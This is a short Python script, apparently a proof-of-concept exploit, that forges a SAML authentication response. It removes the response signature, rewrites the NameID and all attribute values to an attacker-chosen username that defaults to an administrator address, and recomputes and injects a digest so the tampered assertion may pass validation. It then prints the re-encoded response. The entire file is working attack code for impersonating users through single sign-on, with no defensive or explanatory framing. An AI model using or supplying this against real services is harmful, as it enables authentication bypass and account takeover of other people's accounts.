try:
  from lxml import etree
except ImportError:
  raise ImportError("The 'lxml' library is not installed. Please install it using 'pip install lxml'.")
import hashlib,os
import base64
from datetime import datetime, timedelta
import urllib.parse
import requests
username = os.getenv('username')
if not username:
    username='admin@example.com'
saml_response = os.getenv('SAMLResponse')
xml_content = base64.b64decode(urllib.parse.unquote(saml_response))
parser = etree.XMLParser(remove_blank_text=True)
root = etree.fromstring(xml_content, parser)

namespaces = {
    'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
    'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
    'ds': 'http://www.w3.org/2000/09/xmldsig#'
}

response_signature = root.find('./ds:Signature', namespaces)
if response_signature is not None:
    root.remove(response_signature)

nameid = root.find(
    './/saml:NameID',
    namespaces
)
if nameid is not None:
    nameid.text = username

attribute_values = root.findall('.//saml:AttributeValue', namespaces)
for attr_value in attribute_values:
    attr_value.text = username

assertion = root.find('.//saml:Assertion', namespaces)
if assertion is not None:
    # Create a deep copy of the assertion for digest calculation
    assertion_copy = etree.fromstring(etree.tostring(assertion))
    signature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces)
    if signature_in_assertion is not None:
        signature_in_assertion.getparent().remove(signature_in_assertion)
    canonicalized_assertion = etree.tostring(
        assertion_copy, method='c14n', exclusive=True, with_comments=False
    )
    digest = hashlib.sha256(canonicalized_assertion).digest()
    digest_value = base64.b64encode(digest).decode()
else:
    digest_value = ''

issuer = root.find('.//saml:Issuer', namespaces)
if issuer is not None:
    parent = issuer.getparent()
    index = parent.index(issuer)
    extensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')
    digest_element = etree.SubElement(
        extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue'
    )
    digest_element.text = digest_value
    parent.insert(index + 1, extensions)

malformed_samlresponse = urllib.parse.quote(base64.b64encode((etree.tostring(
            root, pretty_print=False, xml_declaration=True, encoding='UTF-8'
        ))))
print(malformed_samlresponse)